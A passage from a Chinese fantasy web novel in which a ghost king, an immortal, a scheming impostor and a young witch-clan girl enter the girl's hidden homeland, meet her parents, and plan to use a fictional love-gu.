于是江妄果断放下,并把季晞拽到身前,
“这是小路子。”她看向陌离和小白介绍道,“我一个属下,相当的忠心,一听说我要来俍业,就非要跟来伺候。我一想,反正鬼也没限制,多一个不多嘛,就一起咯。”
季晞听到那句“小路子”到底还是僵了一下,不过他转念一想,又想开了:这是喊路清嘉那贱人呢,跟他季晞有个毛的关系。
陌离把视线聚焦到季晞脸上,沉默一瞬开口道,“你这个属下,我第一次见。”
江妄点头:“他之前一直在暄妍那边。”
季晞放松自己,微笑点头示意,“陌离仙君。”
他又看向那个扎着双髻的圆脸姑娘。她好像很惊讶自己是鬼,双手抱着一个包袱,满脸的好奇地打量着自己。
江妄并没有给他介绍,可怎么看,那都是个普通到不能再普通的凡人姑娘,而且应该是年纪很小。
……不过能跟江妄还有陌离这种站在南界金字塔尖的人一路,肯定也不是善茬!
“姑娘好。我姓路。”他和善地笑笑,把江妄扔在地上的包裹捡起,提在手上。
江妄看他一眼,刚想夸他还挺有眼力见儿,就见小白往前跳了一步。
她学着季晞自我介绍的句式,有模有样地拱手见礼,
“路哥哥好,我姓白!”
说完龇着一口小白牙嘿嘿一笑,显然是男鬼帮她分担行李的举动赢得了她的好感。
她窜到江妄身边,
“走吧走吧陛下姐姐!我们进去啦!”
江妄点头,和白悦一同走到巨坑边缘。
眼前是望不见底的漆黑,江妄白色裙摆随风飘进去,好像先一步抵达了另一个世界。
白悦用只有江妄能听见的声音说,“要不算了吧,我觉得他对姐姐并不是……”
可小姑娘话还没有说完,就见她身边的鬼纵身一跃,漆黑坑洞一瞬间便吞噬掉了那个白色的身影。
她还没来得及反应,又是一个人影闪过,进了巨坑。
唉。白悦摇了摇头,她还是也赶紧下去吧,不然她那个新收的傀儡出个什么意外,陛下姐姐能打死她。
小姑娘高高兴兴地追了上去。
耶耶耶!终于回家啦!!
她身后,季晞不紧不慢走到坑前。
真想不到,这不世鬼王还是个大傻子,哈哈哈哈哈哈哈哈哈……季晞突然狂笑出声,笑得深深弯下腰去。
他真的,真的真的真的真的,好讨厌这种人……他季晞,这辈子最恨情种!
亏他决定下手的时候,心里对江妄还存了那么点儿可惜!如今看来,真是活该啊!
生来就站在巅峰,命好地不得了,却为了区区爱情活成这样!真是可恨至极啊!
季晞双眸金光溢出,马上快要维持不住脸上路清嘉的面皮。
既然不珍惜,那么,干脆就把一身功力为他所用吧!给他当鬼仆,也就不用再想那些情情爱爱的痛苦了。
江妄,你合该谢谢我才对。
季晞一步踏进了巨坑。
……
--
阵法、符咒这些东西拿去对付修为大乘的仙君怕是不行,那么不被外界了解的巫术呢?
江妄曾在救下白悦后问她,俍业巫族是不是有一种蛊,可以使人无条件地爱上另一个人。
白悦说,是有一种蛊,名为情花蛊。
这蛊重点不在蛊虫,而在情花。
将蛊种下后,再以情花唤醒,中蛊人便会爱上为他唤醒蛊虫的人。
白悦身上只有蛊虫,却没有情花。情花,只在她家乡俍业才有。
……
外族人踏进地陷会摔死此话不假,活人唯有成为巫族傀儡才能进入,此话亦不假。陌离也确实成为了白悦的傀儡。
但,白悦为他种下的却不是普通的操控蛊虫。
而是,情花蛊。
46. 第 46 章
眼前再次出现光亮时,江妄看向四周:她所在之地竟是一片无尽的花海。
那些花以粉、紫、红色居多,花冠长得不大,梗却足足有半人高,此刻正沐浴着阳光,在风中轻轻律动。
此处地脉没有丝毫灵气,这些花应该只是普通的花,却长得这样高大。
太阳还是一个太阳,江妄感觉了一下,这里仍然算是南界,而不是什么别的奇怪空间。看来只是巫族有独特的避世法门罢了。
江妄想折一朵花,看看是不是什么特殊品种。可还没来得及实施,她便感觉头顶有一片阴影。
她回头一看。
很好,是陌离一手握着减翠,正板着身子在做自由落体运动。
……
其实,她江妄也是突然被传过来,之后高空坠落的。可她是鬼啊,早就反重力了,当然不会有事。
陌离拿什么跟她比?
江妄突然很好奇:陌离仙君的飞升劫,不会就是怎么不被摔死吧?
“不好意思,不好意思,嘿嘿,操作失误。”白悦紧随其后出现,立刻用蛊虫操控住了陌离身形,使其缓缓落下,不至于一脸砸进花里。
江妄走过去扶了下陌离,对着白悦道,“这就算是进来了?”
白悦:“对的姐姐,这里连通外界,是族中禁地,我们要回家得从这里出去。”
这时,季晞也出现了,白悦便叫大家跟她走。不一会儿,就找到了出去的路。
她对江妄解释道,“这里出去的路和之前的地陷一样,都是有血脉禁制的。外人进来就算是没被摔死,也永远看不见出去的路。最后他们就会迷失在花海里,直到死去,充作花肥。”
“嗯,还挺严谨。”江妄点头给予肯定。
白悦又叮嘱道,
“陛下姐姐和路哥哥千万凝实魂体,不要暴露鬼的身份。你们不受禁制的限制,来去自由,又都是修为极高的鬼,即便不能使用修真手段,也有其他本事。如果暴露身份,一定会引来族人忌惮。
我们族里有一位大巫祝,他神通广大,不知道有没有对付鬼的手段。我不想有人伤害你们……也不想你们伤害我的亲人。”
江妄和季晞都答应下来,白悦也带大家走到了出口,
“走出禁地,便是族长家。我们会被看守禁地的族人盘问,我会谎称你们和陌公子一样都是我在外界炼制的傀儡。”
说完,白悦便率先走了出去。
可她还没来得及看清外面的情景,便落入了一个温暖的怀抱。
闻到熟悉的气息,白悦眨了眨眼,哇的一声哭了起来。
抱着她的妇人也哭了起来,情绪很激动。她紧紧地抓着白悦,
“回来了就好,回来了就好……没良心的小混蛋,那时候娘烧了满屋子的信纸,你一张都不回,真的要吓死娘了……”
“呜呜……对不起嘛……”
白悦可能是想起了当时被拐走的经历,此时见到家长却一句委屈也说不出口,只是一味的哽咽。
“好了小婉娘,孩子回来了就行了,你也可以放心了。”旁边一个弓着腰的老者开口。
白母这才放开白悦,她擦干眼泪,对着老者鞠躬,满脸感激地说,“多谢族长,多谢族长,”说着,她有拉起白悦,
“阿悦,你快谢谢族长爷爷,他说看着你年纪小,这一次就不怪罪你擅自外出了,也是他同意娘在禁地入口等你。”
白悦乖乖点头,“谢谢族长爷爷,阿悦知道错了,下次不敢了。”
族长把双手放在拐杖上,“孩子,你不单要谢我,还要些你那些叔叔伯伯和大巫祝,是大家一致同意不惩罚你的。不过……”
族长抬起拐杖轻叩了一下,“你身后这三位是?”
江妄三人从禁地出来,便低垂着头站在原地装木偶。
白悦伸手催动蛊虫,将陌离拉了过来,江妄季晞见状也跟在后面。
白悦说道,“族长爷爷,这些年我在外面可没偷懒哦。喏,这三个是我在外面炼化的傀儡,拉回家里给爸爸妈妈帮忙的!”
其实俍业巫族并非人人会巫术,像白悦这样会使多种巫术的人是极少有的。她一直被大巫祝当成继承人来培养。也正因为这样,她自恃巫术敢偷溜出去,事后也能有众人帮她求情,免受处罚。
俍业严禁巫师将同族炼成傀儡。巫师们会在禁地开放日离开俍业,到外界寻找合适的生物炼制傀儡,带回来自用或是卖给族人。
所以白悦带三个“傀儡”回来的行为是很正常的。
族长也就不再多问,
“好了,你们别再这站着了,赶紧回家吧。”
出了族长家,白母拉着白悦往家走,她看了一眼白悦身上的包袱说道,“我说你这孩子,回家高兴傻了?明明有三个傀儡,却只用一个,还自己拎着行李。”
说着,她把白悦身上的包袱都摘下来,一股脑塞进江妄和陌离怀里。
“这下好了,你和娘挽着走。”
江妄、陌离:……
白悦尬笑两声,趁白母不注意,回头对着江妄双手合十。
等回过头去,却还是能感到一股强烈的怨气有如实质般打在自己背上。白悦搓了搓母亲的胳膊,“娘,我阿爹呢?”
白母笑着回答:“你不是说今天午时回家吗,我去族长家接你,你爹在家给你烧饭呢,保准你一回家就能吃上!”
小姑娘蹦了一下,“哇,那我猜爹是包了饺子!”
白母一脸好笑,“诶?你这鬼机灵,怎么知道你爹包了饺子?”
白悦撇过头,“哼,我就是知道……我回家这么重要的日子,你们肯定要做好吃的呀。”
而且,你袖子上都沾上面粉了,娘。
……
“里面吃大餐,我在这刷锅?这是什么道理?改天我一把火……”季晞掐着洗碗布,气得眼冒金光。
“你在嘟囔什么呢,”江妄走进厨房,指挥陌离把水桶放在地上。
“……陛下,我也就算了,贱命一条没什么。可那小丫头片子这么指使您和陌离仙君,您还忍着做什么?”季晞一把将洗碗布扔进锅里,却被污水溅了一脸。
他沉默片刻,缓缓抬起手抹了一把脸。
“我要杀了这一家不知所谓的狗东西!”他放弃拱火,直抒胸臆道。
江妄看向他,“你今天怎么这么狂躁,难道是快要魔化了?算了,我大发慈悲帮你检查一下好了。”
说着,江妄走过去,抬手就掐住了季晞的脖子。
季晞想要挣脱,可是被江妄手中魂力紧紧箍住。
单拼实力,他是绝对打不过江妄的,除非现在……可是不行,还不是时候。况且江妄也许只是突然发疯。
想到这,季晞咬牙道,“陛下,饶命,我,知错了。”
“哦。认错了。看来还是没有魔化的,”江妄松开手,拍拍手上的灰尘,轻描淡写地说,
“我们是文明鬼,不要动不动就喊打喊杀的,多跌份儿。你呢,老实干活,要是被我知道你干了什么惹小白生气,坏了我的事……那么,永生永世留在这个世外桃源,也是个不错的选择。”
季晞爬起来,挤出一个恭敬的笑意,“……是,属下记住了。”
陌离碰了下江妄肩膀,用眼神示意道:门口有人。
江妄皱眉,转头看去,只见白悦父亲手里拿着一个空碗站在原地。
他看到了?
怎么到了俍业精神力弱了这么多?有人靠近她竟然浑然无所察觉……
江妄来不及细究,只想着被白父看见他们仍有神智,下一步该怎么办。
可白父却什么都没说,像是没有发现半点异常。他很自然地走到季晞身边,将空碗递给他,“加点醋。”
季晞:……
这家人眼瞎了吗?看不出他是最不好惹的吗!为什么找他?!
“加了。”季晞把碗递回去。
……
白父坐下,将碗中的醋分了一部分到另一个碟子里,递给白悦,“来乖宝,爹给你倒点,多吃点饺子啊。”
“哦,谢谢爹,我一会儿就吃。”白悦接过去,继续和她的猪蹄奋战。
“乖宝啊,爹爹问你。”白父不经意般地开口,“你炼制的那些傀儡……”
白悦一激灵,抬头看向父亲,急切道,“傀儡怎么了?”
白父继续说,“他们之间,也会存在阶级吗?”
“……”白悦眨了眨眼,猪蹄吧唧一下掉在桌子上,
“啊?”
白父:“是这样,我观察好几次了,那三个傀儡中,女的是老大,从来不干活。而且,那个盘头发的,长得斯斯文文的男傀儡最没话语权,脏活累活不管我们安排给谁,最后都是他干的……”
盘头发的,长得斯斯文文,应该是说路哥哥吧。
不过也是,她姐姐是大乘境鬼王,陌离是遥岑宗仙君
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,就算现在是用不出灵力的花瓶,也有陛下姐姐罩着。
路哥哥真是可怜。白悦心想。
她尴尬地笑了两声,“是啊爹,这现在的傀儡都进化了哈哈哈哈……”
白父:“我没记错的话,这是你第一次炼制傀儡吧。”
“呃,是啊,第一次炼制就赶上他们进化,真是生不逢时啊哈哈。”
眼看父亲还要说,白悦夹起一个饺子塞进他嘴里,“吃饭呢吃饭呢,还要管什么傀儡,有的用就行了啊。”
白父和白母对视一眼,也不再说这个了。
……
午后的阳光正好,照得人暖洋洋的,一只狸花猫枕着前爪靠在墙根下补眠。迎春花爬满院墙,一点又一点的嫩黄在阳光的晕染下连成片,给一整面院墙镀满金光,好像围住了一个不真实的美梦。
阳光晒得时间都慢了半分似的,院子里安静得不像话,只有母鸡咯咯咯地满院子乱跑,可能是在找中午被白父炖进锅里的老公。
白悦坐在院子里,正用药杵研磨着什么东西。她身侧还放了几个盛着药材的竹筐,身后架子上晒着一串红辣椒和几串咸菜干。
白母擦着手走出来,“乖宝累不累,先进来歇一下,一会儿再做。”
白悦抬头嘿嘿一笑,“不了娘,我很快了,把剩下这些翅膀磨成粉加进去就成了。你说师父腿摔了,我也很担心,想早点去看看。”
白母沉默片刻,笑了,“是啊,早点去,省得赶上人家饭点儿了,给大巫祝添麻烦。”
她进屋端了一杯水,拿出来递给白悦。白悦迅速接过,喝了一口就还给她,还顺势推了她一下催促道,
“娘,你快离我远一点!这忆梦蝶的翅膀有毒,你要是沾上了,小心睡个几天!”
看到母亲走开,她才继续手中的活儿,
“师父这次也太脆弱了,接骨怕疼用麻药就得了,还非要我做这个。他知不知道这忆梦蝶用多了对身体不好啊……”
白母放下水杯,“都说老小孩嘛,人越老,反而越孩子气。大巫祝为了你操心了一辈子,如今年纪大了,你要多哄着。”
“这是自然。”白悦点头,“娘你回屋吧,这里有我就成。”
白母走后,江妄才显出身形。
她走过来,阴阳怪气地开口,“哎呦真是不好意思,怎么能让主人亲自动手搓药丸呢。这种小事,您吩咐,我来就行了。”
白悦打了个寒颤,放下手中的东西,扬起小脸笑着讨好,
“陛下姐姐这是说的什么话呀,嘿嘿,您放心,我一会儿去看完师父,就去给您找情花。等您成功唤醒情花蛊,最迟明天晚上,我就能送你们离开。没多久了,您担待一下啊,千万不要跟我爹娘一般见识……”
江妄:“送我们?你不跟我们一起走?”
小姑娘摇了摇头,“不了。”她将手中的药丸装进一个小药瓶里,
“姐姐,我就不跟你走了吧。你手下贤才众多,并不缺我一个,留我在身边也是为了今日的情花蛊。而我爹娘却不一样,他们年纪都不小了,只有我一个女儿……”
江妄其实不愿干涉他人因果,但明知这孩子死劫在身,她不想不管她转身离去。于是便又劝道,
“你愿意多陪陪父母也是好事,没关系,姐姐陪你多等几天就是了。到时候,你还是和我们一起走吧。”
反正她也不干活,都是路清嘉干。
谁知那么软包子的一个小姑娘,这次却很坚定,“谢谢你,陛下姐姐。可是我不走了。”
那只狸花猫不知道什么时候过来了,蹭上白悦的脚踝便开始撒娇,白悦伸手摸了摸它的头,
“之前不懂事,总想着去看看外面的世界,想看看那些修真宗门统治下的百姓过的是什么样的日子。如今看过了,发现也不过如此。灵力并没有带给大家和平与快乐,反而是阶级森严,处处压迫。
我好几次都差点被人杀了,后来也用巫术杀了好多人。我发现,外面的世界真的好危险啊,死个人是那么容易得事。”
江妄安静地听她说。
“今天回家,是陌公子带我御剑回来的。好快啊,我之前辗转几年的路程,两个时辰就到了。
有灵力有修为真的很威风,但日子过得也好快。可能是我没志气吧,”她把小狸花抱起来放在腿上顺毛,
“我爱的人都在这里,我宁愿在这个没有半点儿灵气的‘天罚之地’,慢悠悠地过。”